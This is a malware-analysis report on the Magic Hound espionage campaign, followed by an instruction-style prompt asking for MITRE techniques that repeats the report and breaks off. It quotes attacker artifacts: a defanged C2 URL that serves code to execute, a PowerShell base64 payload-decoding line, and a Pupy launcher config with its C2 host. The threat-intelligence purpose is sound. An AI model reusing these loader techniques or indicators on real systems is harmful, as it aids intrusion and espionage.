Article Content Unit 42 has discovered a persistent attack campaign operating primarily in the Middle East dating back to at least mid-2016 which we have named Magic Hound This appears to be an attack campaign focused on espionage Based upon our visibility it has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia The adversaries appear to have evolved their tactics and techniques throughout the tracked time-period, iterating through a diverse toolset across different waves of attacks Artifacts of this campaign was also recently published by Secureworks CTU We were able to collect over fifty samples of the tools used by the Magic Hound campaign using the AutoFocus threat intelligence tool The earliest malware sample we were able to collect had a compile timestamp in May 2016 The samples themselves ranged from IRC bots, an open source Python remote access tool, malicious macros, and others It is believed the use of specific tools may have coincided with specific attack waves by this adversary, with the most recent attacks using weaponized Microsoft Office documents with malicious macros Due to the large amount of data collected, and limitations on attack telemetry, this blog will focus primarily on the most recent attacks occurring in the latter half of 2016 ATTACK DETAILS The samples initially collected and associated with Magic Hound were Microsoft Word and Excel documents containing embedded malicious macros We were able to expand our data set by pivoting on infrastructure and tool behavior, which uncovered additional types of tools in use by Magic Hound, such as regular portable executable (PE) payloads, PE files compiled in .NET Framework, various forms of IRC bots, and an open source file-less Python remote access tool called Pupy The two legitimate websites we were able to identify were owned by organizations in the government and energy sectors Based on the existence of these malicious files on the legitimate websites, it is highly probable that the websites had already been compromised in some fashion At the time of investigation, the files had already been removed from the websites The two other delivery sites were ntg-sa[.]com, which may be trying to spoof a Saudi based information and communication technology conglomerate and mol.com-ho[.]me, which may be trying to spoof the Ministry of Labor A third delivery site was identified at its.com-ho[.]me which may appear to be a benign domain Several of these documents were also found on a seemingly unrelated, but benign-looking domain, briefl[.]ink We were ultimately able to identify multiple organizations in the government, energy, and technology sectors targeted by Magic Hound The weaponized documents themselves all contained malicious macros which were designed to call Windows PowerShell to retrieve additional tools A handful of lures with different themes were used repeatedly with variations throughout the eighteen collected documents They ranged from documents masquerading as official Saudi government forms to a holiday greetings card The forms masquerading as official government documents specifically used imagery from the Ministry of Health and the Ministry of Commerce claiming to be mandatory forms that required macros to be enabled Examples of the documents can be seen below:     INFRASTRUCTURE Analysis of the weaponized documents revealed some peculiarities right away These C2 servers also appeared to lack any relationships to each other and were hosted on a variety of VPS providers Two of the Word documents using the “gerry knight” author name however were found to be communicating to C2 servers on two specific domains, www1.chrome-up[.]date and www3.chrome-up[.]date Using these domains as pivot points, we were able to expand our data set What initially appeared as a disparate and segregated attack campaign appeared very rapidly to be a persistent and prolonged attack campaign with very specific goals in mind In total, we were able to collect over fifty different samples via infrastructure reuse, behavioral matching, and the reuse of a specific file for maintaining persistence These tools included Microsoft Office documents, portable executables (PE), .NET Framework PE files, Meterpreter, IRC bots, an open sourced Meterpreter module called Magic Unicorn, and an open sourced Python RAT called Pupy Interestingly as we continued to expand and pivot in our data set, one of the C2 IPs used by an IRC bot payload from Magic Hound was found to be the same IP used to deliver a different IRC bot called MPK Figure 3 Rocket Kitten and Magic Hound infrastructure overlap The MPK bot is not publicly available and had previously been attributed to an adversary group called “Rocket Kitten” which has often been thought to be a state sponsored adversary operating in the Middle East region Although the likelihood of two different adversaries focused on espionage operating in the same geographical region using one specific IP and not being related somehow is fairly slim, due to limited telemetry, we lack additional corroborating evidence of a conclusive relationship During our analysis, we were able to determine the ultimate payload for several of these attacks One payload was a Python based open source remote administration tool (RAT) called Pupy A second payload was an IRC bot we have named MagicHound.Leash We have also seen this group use the Magic Unicorn module to generate a PowerShell script to deliver a shellcode-based payload We have categorized the custom tools in use by the Magic Hound campaign into five categories, with corresponding names in Table 1 Additional details for these tools may be found in the appendix TYPE NAME   Dropper MagicHound.DropIt   Executable Loader MagicHound.Fetch   Document Loader MagicHound.Rollover   Downloader MagicHound.Retriever   IRC Bot MagicHound.Leash    Table 1  Types of MagicHound tools and their Corresponding Names MAGICHOUND.ROLLOVER The Magic Hound campaign used Word and Excel documents containing malicious macros as a delivery method, specifically attempting to load either the Pupy RAT or meterpreter which we have called MagicHound.Rollover We discovered two different techniques used in the PowerShell scripts, the first being a straightforward execute command of a string retrieved from the remote server The second technique appeared to be from a tool called Magic Unicorn, an open source module for meterpreter MAGICHOUND.FETCH In addition to loading payloads using macros within delivery documents, we observed the Magic Hound campaign using executables to load secondary payloads from a remote server Both a custom developed loader, which we have named MagicHound.Fetch, as well as the default loader that comes with Pupy were found to be in use The Fetch loader allowed us to use attributes within the loader to uncover more tools used by this group, which included a backdoor and an IRC bot Fetch first attempts to create persistent access to the targeted host then retrieve a secondary payload from a remote server To set up persistence, the loader writes a file to “c:\temp\rr.exe” and executes it with specific command line arguments to create auto run registry keys All Fetch samples drop the same exact executable to set up persistence However, they all used the same key “agkrhfpdbvhdhrkj” We found the PowerShell command used by Fetch within the source code of Magic Unicorn, which was also used in the Magic Hound delivery documents However, as alluded to above, we believe that this adversary used the open source Magic Unicorn tool to load a shellcode-based payload which is likely to be meterpreter We have seen the Magic Hound campaign use both the 32-bit and 64-bit DLL loaders that come with Pupy to infect Windows systems Also, the configurations show the use of the “obfs3” (The Threebfuscator) transport, which is an obfuscation method to hide the true TCP-based communications protocol The “obfs3” is used in the Tor project and the specifics of this transport can be found at the Tor Project MAGICHOUND.DROPIT The Magic Hound campaign was also discovered using a custom dropper tool, which we have named MagicHound.DropIt The DropIt Trojan we analyzed is an executable that builds another executable by decoding embedded blobs of base64 encoded data and concatenating them together in the correct order In all of the DropIt samples we collected, the dropper then saves the executable to the user’s %TEMP% folder and executes the file We have also seen Magic Hound using DropIt as a binder, specifically dropping a legitimate decoy executable along with the malicious executable onto the target host The legitimate decoy executable and the malicious executable are then both executed, but with the malicious file running in the background and the decoy presented to the user These types of tactics are generally used for evasion and to not trigger and suspicion from the victim In one example, the decoy executable was a legitimate Flash installer, therefore from the victim’s perspective, they would experience the expected behavior of a Flash installer MAGICHOUND.RETRIEVER We observed a DropIt sample installing another Trojan we call MagicHound.Retriever At a high level, Retriever is a .NET downloader that retrieves secondary payloads using an embedded URL in its configuration as the C2 Figure 4 Retriever HTTP request sent to its C2 server MAGICHOUND.LEASH The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.Leash We discovered this connection when we observed a DropIt sample installing a backdoor Trojan that used IRC for its C2 communications Leash obtains its commands via private messages (PRIVMSG) sent from the adversary who must also be connected to the IRC server All of its available commands (see Appendix), except for the VER command seen in Figure 5, must be issued by individuals in the IRC channel with nicknames that start with “AS_” or “AF_” Figure 5 Lecash bot responding to VER command There are a great deal of similarities between the IRC bot originally discussed in iSight’s NEWSCASTER whitepaper and LEASH iSight’s whitepaper provided details on an IRC bot, which some refer to as Parastoo based on the password used to join the IRC channel, as seen in the following network traffic generated when attempting to connect to the C2:    Parastoo Trojan MagicHound.Leash   USER AS_ # # :des NICK t__982 JOIN :#tistani Parastoo USER AS_a # # :des NICK Conroy JOIN :#kalk      Performing a binary diff revealed a 67% similarity between the Leash and Parastoo samples In addition to sharing significant portions of code, both of the IRC bots require an IRC user’s nickname to start with either “AF_” or “AS_” to run commands on the system Also, the two bots have similar responses to “VER” commands seen in Figure 6 below, which differ slightly from the responses seen generated by Leash Figure 6 Parastoo Trojan responding to commands in similar manner to Leash MPKBot We also found a second IRC bot called MPK using the same IP for its C2 server that a Leash sample was hosted on This MPK IRC bot is very similar to the MPK Trojan that used a custom C2 communications protocol, as detailed in a  whitepaper by CheckPoint regarding a threat group called Rocket Kitten We believe this version of the MPK Trojan is based on the same code base, as both the IRC version and the one referenced in the white paper have considerable similarities from a behavior standpoint as well as direct code overlap CONCLUSION The Magic Hound attack campaign is an active and persistent espionage motivated adversary operating in the Middle East region Organizations in the government, energy, and technology sectors have been targeted by this adversary, specifically organizations based in or doing business in Saudi Arabia None of the tools we uncovered were found to be exploit-driven, and relied exclusively on social engineering tactics to compromise targets While we did discover a potential relationship with the Rocket Kitten adversary group, we cannot confirm the extent of that relationship at this time, although we will continue to monitor the activities of Magic Hound We call this tool MagicHound.Rollover When the macro executes, it unhides a table that contains the contents of a legitimate document in an attempt to make the user less suspicious of the malicious activities occurring in the background The first technique is rather straightforward, using PowerShell’s “iex” function to execute a string obtained from a remote server The Unicorn source code contains a comment for this specific PowerShell command, which is described as a “one line shellcode injection with native x86 shellcode” The shellcode begins with a stub that is responsible for decrypting additional shellcode To decrypt the additional shellcode, the stub code will start with an initial key, such as 0x6CAF9362 and XOR the first DWORD of the additional shellcode It will then add the resulting DWORD to the key that the stub code will use to decrypt the second DWORD and so on Two Rollover delivery documents (SHA256: 6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b and SHA256: 218fac3d0639c0d762fcf71685bcf6b64c33d1533df03b4cf223d9b07ca1e3c2) attempted to communicate with the URL hxxp://139.59.46[.]154:3485/eiloShaegae1 to obtain additional code to execute The C2 server will respond to this HTTP GET request with a large amount of data that includes a PowerShell script that also contains a DLL payload that is embedded as a series of base64 encoded chunks, that is then decoded using the following code:$PEBytesTotal = [System.Convert]::FromBase64String($PEBytes0+$PEBytes1+$PEBytes2+$PEBytes3+$PEBytes4+$PEBytes5+$PEBytes6+$PEBytes7+$PEBytes8+$PEBytes9+$PEBytes10+$PEBytes11+$PEBytes12+$PEBytes13+$PEBytes14+$PEBytes15+$PEBytes16+$PEBytes17+$PEBytes18+$PEBytes19+$PEBytes20+$PEBytes21+$PEBytes22+$PEBytes23+$PEBytes24+$PEBytes25+$PEBytes26+$PEBytes27+$PEBytes28+$PEBytes29+$PEBytes30+$PEBytes31+$PEBytes32+$PEBytes33+$PEBytes34+$PEBytes35+$PEBytes36+$PEBytes37+$PEBytes38+$PEBytes39+$PEBytes40+$PEBytes41+$PEBytes42+$PEBytes43+$PEBytes44+$PEBytes45+$PEBytes46+$PEBytes47+$PEBytes48+$PEBytes49+$PEBytes50+$PEBytes51+$PEBytes52+$PEBytes53+$PEBytes54+$PEBytes55+$PEBytes56+$PEBytes57+$PEBytes58+$PEBytes59+$PEBytes60+$PEBytes61+$PEBytes62+$PEBytes63+$PEBytes64+$PEBytes65+$PEBytes66+$PEBytes67+$PEBytes68+$PEBytes69+$PEBytes70+$PEBytes71+$PEBytes72+$PEBytes73+$PEBytes74+$PEBytes75+$PEBytes76+$PEBytes77+$PEBytes78+$PEBytes79+$PEBytes80+$PEBytes81+$PEBytes82+$PEBytes83+$PEBytes84+$PEBytes85+$PEBytes86+$PEBytes87)The PowerShell script loads the DLL payload directly into memory without saving it to the disk The Pupy payload was generated using the following configuration, which shows the C2 IP/port and the use of the “obfs3” transport:LAUNCHER_ARGS=['--host', '139.59.46[.]154:3543', '-t', 'obfs3']It appears the adversary used a majority of the following Pupy module to create the PowerShell commands used in the delivery documents: https://github.com/n1nj4sec/Pupy/blob/master/Pupy/Pupylib/payloads/ps1_oneliner.py MAGICHOUND.FETCH The custom loader Trojan used by this group, which we call MagicHound.Fetch is responsible for setting up persistent access to the system and to reach out to a remote server to download and execute a secondary payload It then writes a file named “rr.exe” (SHA256: f439dee4210d623b5aa7491bad8e8d9b43305f25a5d26940eb36f6460215cf8e) to this folder and executes it with specific command line arguments We found the command above within the source code of Magic Unicorn, which was also used in the Magic Hound delivery documents However, as alluded to above, we believe that this adversary used the open source Magic Unicorn tool to load a shellcode-based payload PUPY LOADER Pupy comes with default loaders that run the RAT on a variety of different platforms, specifically Windows, OSX, Linux and  We have seen the Magic Hound actors using both the 32-bit and 64-bit DLL loaders that come with Pupy to infect Windows systems We believe the Magic Hound campaign uses the DropIt Trojan to run legitimate applications that fit their social engineering, which in the example above included coercing the victim into updating their Flash Player At a high level, Retriever is a .NET downloader that downloads secondary payloads from servers associated with Magic Hound While the Trojan itself does not resemble the other Magic Hound tools, it does create a folder named “c:\temp” that the Magic Hound loader creates to store its persistence executable, as previously discussed The folder name is quite generic and by itself is not a great correlation point, however, this coupled with the shared infrastructure makes a higher fidelity connection between the two A password variable is available but unused in this sample Instead, we will refer to the specific SOAP action (see “SOAPAction” field in previous example, specifically “SetLog2”) that the Trojan requests from the C2 server and the response from the C2 server After sending the C2 the system information, the malware then issues a second request for “GetHasAnything”, which will communicate with the C2 server and ask the server if it has a secondary binary for the Trojan to install If the C2 server provides any response to the “GetHasAnything” request, it then calls the “GetIdAbOne” SOAP method to obtain what we believe is a unique identifier for the system that the Trojan will use for further interaction with the C2 After receiving this variable, the Trojan calls the “GetNameAbById” to obtain a base64 string that will be the filename written in a newly created “c:\temp” (decoded from “YzpcdGVtcFw=”) folder The Trojan will then call “GetAbById”,  which the C2 will provide a base64 string for the contents for the file to write to c:\temp With the file written to the system, the Trojan calls the “GetishideAbById” SOAP action to determine whether or not the C2 server wishes to execute the newly dropped file in a hidden window Unfortunately, we were unable to obtain a secondary payload from an active C2 server MAGICHOUND.LEASH The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.Leash This tool was discovered when we observed a DropIt sample installing a backdoor Trojan that used IRC for its C2 communications The bot chooses a random name from 977 hardcoded possibilities, connects to an adversary owned IRC server and joins a channel using the following IRC commands: USER AS_a # # :des NICK Conroy JOIN :#kalk Leash obtains its commands via private messages (PRIVMSG) sent from the adversary who must also be connected to the IRC server The message sent to the C2 will be “dir is maked.” if successful or “dir is not maked” if unsuccessful MKDIR Same as MD subcommand RD Removes a specified directory The message sent to the C2 will be “dir is removed.” if successful or “dir is not removed.” if unsuccessful COPY Not supported MOVE Not supported REN Renames a specified file The message sent to the C2 will be “file is renamed.” if successful or “file is not renamed.” if unsuccessful EXE  Calls GetModuleFileNameA function to obtain the path to the currently running executable and sends it to the C2 server This suggests that the adversary’s IRC nickname would need to have these prefixes to control the systems infected with this Trojan The adversary could have used this name requirement as an added measure to make sure other individuals did not join the IRC server and begin interacting with compromised systems MPKBot We also found a second IRC bot called MPK (SHA256: d08d737fa59edbea4568100cf83cff7bf930087aaa640f1b4edf48eea4e07b19) using an IP that a Retriever sample was hosted on as a C2 server instead This MPK IRC bot is very similar to the MPK Trojan that used a custom C2 communications protocol, as discussed in the whitepaper by CheckPoint discussing a threat group called Rocket Kitten We believe this version of the MPK Trojan is based on the same code base, as both the IRC version and the one discussed in the above white paper have considerable similarities from a behavior standpoint and both Trojan have direct code sharing between them From a behaviorial standpoint, both the IRC and custom protocol version of MPK save “tmp.vbs” and “tmp1.vbs” to the %TEMP% folder (both differed slightly but used the same variable names within the script) in order to copy the Trojan to its final location and to execute it The IRC variant creates a mutex named “mpk1” and attempts to connect to an IRC server at 45.58.37[.]142:6667 The MPK bot generates a random lowercase name and uses it to log into the IRC server Figure 7 shows the initial private messages sent from the MPK bot to the “mpk” account on the C2 server Figure 7 Initial private messages sent from MPK to the IRC C2 server The commands available within the MPK IRC bot are called via a jump table, rather than a switch statement used in the custom protocol variant of MPK !DeleteFile Deletes a specified file   !NickChange Changes the nickname that the Trojan uses to log into the C2 IRC server Writes it to “nick435.tmp” for subsequent logins !ProcessKill Terminates a process based on PID   !RenameFileFolder Renames a file or folder and returns a list of the containing folder to the C2 server !GetFileOfServer Writes a file from the C2 server to a specified file   !ExecuteCommand Uses the command prompt sub-process to execute commands and returns their results to the C2 
Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Article Content Unit 42 has discovered a persistent attack campaign operating primarily in the Middle East dating back to at least mid-2016 which we have named Magic Hound This appears to be an attack campaign focused on espionage Based upon our visibility it has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia The adversaries appear to have evolved their tactics and techniques throughout the tracked time-period, iterating through a diverse toolset across different waves of attacks Artifacts of this campaign was also recently published by Secureworks CTU We were able to collect over fifty samples of the tools used by the Magic Hound campaign using the AutoFocus threat intelligence tool The earliest malware sample we were able to collect had a compile timestamp in May 2016 The samples themselves ranged from IRC bots, an open source Python remote access tool, malicious macros, and others It is believed the use of specific tools may have coincided with specific attack waves by this adversary, with the most recent attacks using weaponized Microsoft Office documents with malicious macros Due to the large amount of data collected, and limitations on attack telemetry, this blog will focus primarily on the most recent attacks occurring in the latter half of 2016 ATTACK DETAILS The samples initially collected and associated with Magic Hound were Microsoft Word and Excel documents containing embedded malicious macros We were able to expand our data set by pivoting on infrastructure and tool behavior, which uncovered additional types of tools in use by Magic Hound, such as regular portable executable (PE) payloads, PE files compiled in .NET Framework, various forms of IRC bots, and an open source file-less Python remote access tool called Pupy The two legitimate websites we were able to identify were owned by organizations in the government and energy sectors Based on the existence of these malicious files on the legitimate websites, it is highly probable that the websites had already been compromised in some fashion At the time of investigation, the files had already been removed from the websites The two other delivery sites were ntg-sa[.]com, which may be trying to spoof a Saudi based information and communication technology conglomerate and mol.com-ho[.]me, which may be trying to spoof the Ministry of Labor A third delivery site was identified at its.com-ho[.]me which may appear to be a benign domain Several of these documents were also found on a seemingly unrelated, but benign-looking domain, briefl[.]ink We were ultimately able to identify multiple organizations in the government, energy, and technology sectors targeted by Magic Hound The weaponized documents themselves all contained malicious macros which were designed to call Windows PowerShell to retrieve additional tools A handful of lures with different themes were used repeatedly with variations throughout the eighteen collected documents They ranged from documents masquerading as official Saudi government forms to a holiday greetings card The forms masquerading as official government documents specifically used imagery from the Ministry of Health and the Ministry of Commerce claiming to be mandatory forms that required macros to be enabled Examples of the documents can be seen below:     INFRASTRUCTURE Analysis of the weaponized documents revealed some peculiarities right away These C2 servers also appeared to lack any relationships to each other and were hosted on a variety of VPS providers Two of the Word documents using the “gerry knight” author name however were found to be communicating to C2 servers on two specific domains, www1.chrome-up[.]date and www3.chrome-up[.]date Using these domains as pivot points, we were able to expand our data set What initially appeared as a disparate and segregated attack campaign appeared very rapidly to be a persistent and prolonged attack campaign with very specific goals in mind In total, we were able to collect over fifty different samples via infrastructure reuse, behavioral matching, and the reuse of a specific file for maintaining persistence These tools included Microsoft Office documents, portable executables (PE), .NET Framework PE files, Meterpreter, IRC bots, an open sourced Meterpreter module called Magic Unicorn, and an open sourced Python RAT called Pupy Interestingly as we continued to expand and pivot in our data set, one of the C2 IPs used by an IRC bot payload from Magic Hound was found to be the same IP used to deliver a different IRC bot called MPK Figure 3 Rocket Kitten and Magic Hound infrastructure overlap The MPK bot is not publicly available and had previously been attributed to an adversary group called “Rocket Kitten” which has often been thought to be a state sponsored adversary operating in the Middle East region Although the likelihood of two different adversaries focused on espionage operating in the same geographical region using one specific IP and not being related somehow is fairly slim, due to limited telemetry, we lack additional corroborating evidence of a conclusive relationship During our analysis, we were able to determine the ultimate payload for several of these attacks One payload was a Python based open source remote administration tool (RAT) called Pupy A second payload was an IRC bot we have named MagicHound.Leash We have also seen this group use the Magic Unicorn module to generate a PowerShell script to deliver a shellcode-based payload We have categorized the custom tools in use by the Magic Hound campaign into five categories, with corresponding names in Table 1 Additional details for these tools may be found in the appendix TYPE NAME   Dropper MagicHound.DropIt   Executable Loader MagicHound.Fetch   Document Loader MagicHound.Rollover   Downloader MagicHound.Retriever   IRC Bot MagicHound.Leash    Table 1  Types of MagicHound tools and their Corresponding Names MAGICHOUND.ROLLOVER The Magic Hound campaign used Word and Excel documents containing malicious macros as a delivery method, specifically attempting to load either the Pupy RAT or meterpreter which we have called MagicHound.Rollover We discovered two different techniques used in the PowerShell scripts, the first being a straightforward execute command of a string retrieved from the remote server The second technique appeared to be from a tool called Magic Unicorn, an open source module for meterpreter MAGICHOUND.FETCH In addition to loading payloads using macros within delivery documents, we observed the Magic Hound campaign using executables to load secondary payloads from a remote server Both a custom developed loader, which we have named MagicHound.Fetch, as well as the default loader that comes with Pupy were found to be in use The Fetch loader allowed us to use attributes within the loader to uncover more tools used by this group, which included a backdoor and an IRC bot Fetch first attempts to create persistent access to the targeted host then retrieve a secondary payload from a remote server To set up persistence, the loader writes a file to “c:\temp\rr.exe” and executes it with specific command line arguments to create auto run registry keys All Fetch samples drop the same exact executable to set up persistence However, they all used the same key “agkrhfpdbvhdhrkj” We found the PowerShell command used by Fetch within the source code of Magic Unicorn, which was also used in the Magic Hound delivery documents However, as alluded to above, we believe that this adversary used the open source Magic Unicorn tool to load a shellcode-based payload which is likely to be meterpreter We have seen the Magic Hound campaign use both the 32-bit and 64-bit DLL loaders that come with Pupy to infect Windows systems Also, the configurations show the use of the “obfs3” (The Threebfuscator) transport, which is an obfuscation method to hide the true TCP-based communications protocol The “obfs3” is used in the Tor project and the specifics of this transport can be found at the Tor Project MAGICHOUND.DROPIT The Magic Hound campaign was also discovered using a custom dropper tool, which we have named MagicHound.DropIt The DropIt Trojan we analyzed is an executable that builds another executable by decoding embedded blobs of base64 encoded data and concatenating them together in the correct order In all of the DropIt samples we collected, the dropper then saves the executable to the user’s %TEMP% folder and executes the file We have also seen Magic Hound using DropIt as a binder, specifically dropping a legitimate decoy executable along with the malicious executable onto the target host The legitimate decoy executable and the malicious executable are then both executed, but with the malicious file running in the background and the decoy presented to the user These types of tactics are generally used for evasion and to not trigger and suspicion from the victim In one example, the decoy executable was a legitimate Flash installer, therefore from the victim’s perspective, they would experience the expected behavior of a Flash installer MAGICHOUND.RETRIEVER We observed a DropIt sample installing another Trojan we call MagicHound.Retriever At a high level, Retriever is a .NET downloader that retrieves secondary payloads using an embedded URL in its configuration as the C2 Figure 4 Retriever HTTP request sent to its C2 server MAGICHOUND.LEASH The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.Leash We discovered this connection when we observed a DropIt sample installing a backdoor Trojan that used IRC for its C2 communications Leash obtains its commands via private messages (PRIVMSG) sent from the adversary who must also be connected to the IRC server All of its available commands (see Appendix), except for the VER command seen in Figure 5, must be issued by individuals in the IRC channel with nicknames that start with “AS_” or “AF_” Figure 5 Lecash bot responding to VER command There are a great deal of similarities between the IRC bot originally discussed in iSight’s NEWSCASTER whitepaper and LEASH iSight’s whitepaper provided details on an IRC bot, which some refer to as Parastoo based on the password used to join the IRC channel, as seen in the following network traffic generated when attempting to connect to the C2:    Parastoo Trojan MagicHound.Leash   USER AS_ # # :des NICK t__982 JOIN :#tistani Parastoo USER AS_a # # :des NICK Conroy JOIN :#kalk      Performing a binary diff revealed a 67% similarity between the Leash and Parastoo samples In addition to sharing significant portions of code, both of the IRC bots require an IRC user’s nickname to start with either “AF_” or “AS_” to run commands on the system Also, the two bots have similar responses to “VER” commands seen in Figure 6 below, which differ slightly from the responses seen generated by Leash Figure 6 Parastoo Trojan responding to commands in similar manner to Leash MPKBot We also found a second IRC bot called MPK using the same IP for its C2 server that a Leash sample was hosted on This MPK IRC bot is very similar to the MPK Trojan that used a custom C2 communications protocol, as detailed in a  whitepaper by CheckPoint regarding a threat group called Rocket Kitten We believe this version of the MPK Trojan is based on the same code base, as both the IRC version and the one referenced in the white paper have considerable similarities from a behavior standpoint as well as direct code overlap CONCLUSION The Magic Hound attack campaign is an active and persistent espionage motivated adversary operating in the Middle East region Organizations in the government, energy, and technology sectors have been targeted by this adversary, specifically organizations based in or doing business in Saudi Arabia None of the tools we uncovered were found to be exploit-driven, and relied exclusively on social engineering tactics to compromise targets While we did discover a potential relationship with the Rocket Kitten adversary group, we cannot confirm the extent of that relationship at this time, although we will continue to monitor the activities of Magic Hound We call this tool MagicHound.Rollover When the macro executes, it unhides a table that contains the contents of a legitimate document in an attempt to make the user less suspicious of the malicious activities occurring in the background The first technique is rather straightforward, using PowerShell’s “iex” function to execute a string obtained from a remote server The Unicorn source code contains a comment for this specific PowerShell command, which is described as a “one line shellcode injection with native x86 shellcode” The shellcode begins with a stub that is responsible for decrypting additional shellcode To decrypt the additional shellcode, the stub code will start with an initial key, such as 0x6CAF9362 and XOR the first DWORD of the additional shellcode It will then add the resulting DWORD to the key that the stub code will use to decrypt the second DWORD and so on Two Rollover delivery documents (SHA256: 6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b and SHA256: 218fac3d0639c0d762fcf71685bcf6b64c33d1533df03b4cf223d9b07ca1e3c2) attempted to communicate with the URL hxxp://139.59.46[.]154:3485/eiloShaegae1 to obtain additional code to execute The C2 server will respond to this HTTP GET request with a large amount of data that includes a PowerShell script that also contains a DLL payload that is embedded as a series of base64 encoded chunks, that is then decoded using the following code:$PEBytesTotal = [System.Convert]::FromBase64String($PEBytes0+$PEBytes1+$PEBytes2+$PEBytes3+$PEBytes4+$PEBytes5+$PEBytes6+$PEBytes7+$PEBytes8+$PEBytes9+$PEBytes10+$PEBytes11+$PEBytes12+$PEBytes13+$PEBytes14+$PEBytes15+$PEBytes16+$PEBytes17+$PEBytes18+$PEBytes19+$PEBytes20+$PEBytes21+$PEBytes22+$PEBytes23+$PEBytes24+$PEBytes25+$PEBytes26+$PEBytes27+$PEBytes28+$PEBytes29+$PEBytes30+$PEBytes31+$PEBytes32+$PEBytes33+$PEBytes34+$PEBytes35+$PEBytes36+$PEBytes37+$PEBytes38+$PEBytes39+$PEBytes40+$PEBytes41+$PEBytes42+$PEBytes43+$PEBytes44+$PEBytes45+$PEBytes46+$PEBytes47+$PEBytes48+$PEBytes49+$PEBytes50+$PEBytes51+$PEBytes52+$PEBytes53+$PEBytes54+$PEBytes55+$PEBytes56+$PEBytes57+$PEBytes58+$PEBytes59+$PEBytes60+$PEBytes61+$PEBytes62+$PEBytes63+$PEBytes64+$PEBytes65+$PEBytes66+$PEBytes67+$PEBytes68+$PEBytes69+$PEBytes70+$PEBytes71+$PEBytes72+$PEBytes73+$PEBytes74+$PEBytes75+$PEBytes76+$PEBytes77+$PEBytes78+$PEBytes79+$PEBytes80+$PEBytes81+$PEBytes82+$PEBytes83+$PEBytes84+$PEBytes85+$PEBytes86+$PEBytes87)The PowerShell script loads the DLL payload directly into memory without saving it to the disk The Pupy payload was generated using the following configuration, which shows the C2 IP/port and the use of the “obfs3” transport:LAUNCHER_ARGS=['--host', '139.59.46[.]154:3543', '-t', 'obfs3']It appears the adversary used a majority of the following Pupy module to create the PowerShell commands used in the delivery documents: https://github.com/n1nj4sec/Pupy/blob/master/Pupy/Pupylib/payloads/ps1_oneliner.py MAGICHOUND.FETCH The custom loader Trojan used by this group, which we call MagicHound.Fetch is responsible for setting up persistent access to the system and to reach out to a remote server to download and execute a secondary payload It then writes a file named “rr.exe” (SHA256: f439dee4210d623b5aa7491bad8e8d9b43305f25a5d26940eb36f6460215cf8e) to this folder and executes it with specific command line arguments We found the command above within the source code of Magic Unicorn, which was also used in the Magic Hound delivery documents However, as alluded to above, we believe that this adversary used the open source Magic Unicorn tool to load a shellcode-based payload PUPY LOADER Pupy comes with default loaders that run the RAT on a variety of different platforms, specifically Windows, OSX, Linux and  We have seen the Magic Hound actors using both the 32-bit and 64-bit DLL loaders that come with Pupy to infect Windows systems We believe the Magic Hound campaign uses the DropIt Trojan to run legitimate applications that fit their social engineering, which in the example above included coercing the victim into updating their Flash Player At a high level, Retriever is a .NET downloader that downloads secondary payloads from servers associated with Magic Hound While the Trojan itself does not resemble the other Magic Hound tools, it does create a folder named “c:\temp” that the Magic Hound loader creates to store its persistence executable, as previously discussed The folder name is quite generic and by itself is not a great correlation point, however, this coupled with the shared infrastructure makes a higher fidelity connection between the two A password variable is available but unused in this sample Instead, we will refer to the specific SOAP action (see “SOAPAction” field in previous example, specifically “SetLog2”) that the Trojan requests from the C2 server and the response from the C2 server After sending the C2 the system information, the malware then issues a second request for “GetHasAnything”, which will communicate with the C2 server and ask the server if it has a secondary binary for the Trojan to install If the C2 server provides any response to the “GetHasAnything” request, it then calls the “GetIdAbOne” SOAP method to obtain what we believe is a unique identifier for the system that the Trojan will use for further interaction with the C2 After receiving this variable, the Trojan calls the “GetNameAbById” to obtain a base64 string that will be the filename written in a newly created “c:\temp” (decoded from “YzpcdGVtcFw=”) folder The Trojan will then call “GetAbById”,  which the C2 will provide a base64 string for the contents for the file to write to c:\temp With the file written to the system, the Trojan calls the “GetishideAbById” SOAP action to determine whether or not the C2 server wishes to execute the newly dropped file in a hidden window Unfortunately, we were unable to obtain a secondary payload from an active C2 server MAGICHOUND.LEASH The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.Leash This tool was discovered when we observed a DropIt sample installing a backdoor Trojan that used IRC for its C2 communications The bot chooses a random name from 977 hardcoded possibilities, connects to an adversary owned IRC server and joins a channel using the following IRC commands: USER AS_a # # :des NICK Conroy JOIN :#kalk Leash obtains its commands via private messages (PRIVMSG) sent from the adversary who must also be connected to the IRC server The message sent to the C2 will be “dir is maked.” if successful or “dir is not maked” if unsuccessful MKDIR Same as MD subcommand RD Removes a specified directory The message sent to the C2 will be “dir is removed.” if successful or “dir is not removed.” if unsuccessful COPY Not supported MOVE Not supported REN Renames a specified file The message sent to the C2 will be “file is renamed.” if successful or “file is not renamed.” if unsuccessful EXE  Calls GetModuleFileNameA function to obtain the path to the currently running executable and sends it to the C2 server This suggests that the adversary’s IRC nickname would need to have these prefixes to control the systems infected with this Trojan The adversary could have used this name requirement as an added measure to make sure other individuals did not join the IRC server and begin interacting with compromised systems MPKBot We also found a second IRC bot called MPK (SHA256: d08d737fa59edbea4568100cf83cff7bf930087aaa640f1b4edf48eea4e07b19) using an IP that a Retriever sample was hosted on as a C2 server instead This MPK IRC bot is very similar to the MPK Trojan that used a custom C2 communications protocol, as discussed in the whitepaper by CheckPoint discussing a threat group called Rocket Kitten We believe this version of the MPK Trojan is based on the same code base, as both the IRC version and the one discussed in the above white paper have considerable similarities from a behavior standpoint and both Trojan have direct code sharing between them From a behaviorial standpoint, both the IRC and custom protocol version of MPK save “tmp.vbs” and “tmp1.vbs” to the %TEMP% folder (both differed slightly but used the same variable names within the script) in order to copy the Trojan to its final location and to execute it The IRC variant creates a mutex named “mpk1” and attempts to connect to an IRC server at 45.58.37[.]142:6667 The MPK bot generates a random lowercase name and uses it to log into the IRC server Figure 7 shows the initial private messages sent from the MPK bot to the “mpk” account on the C2 server Figure 7 Initial private messages sent from MPK to the IRC C2 server The commands available within the MPK IRC bot are called via a jump table, rather than a switch 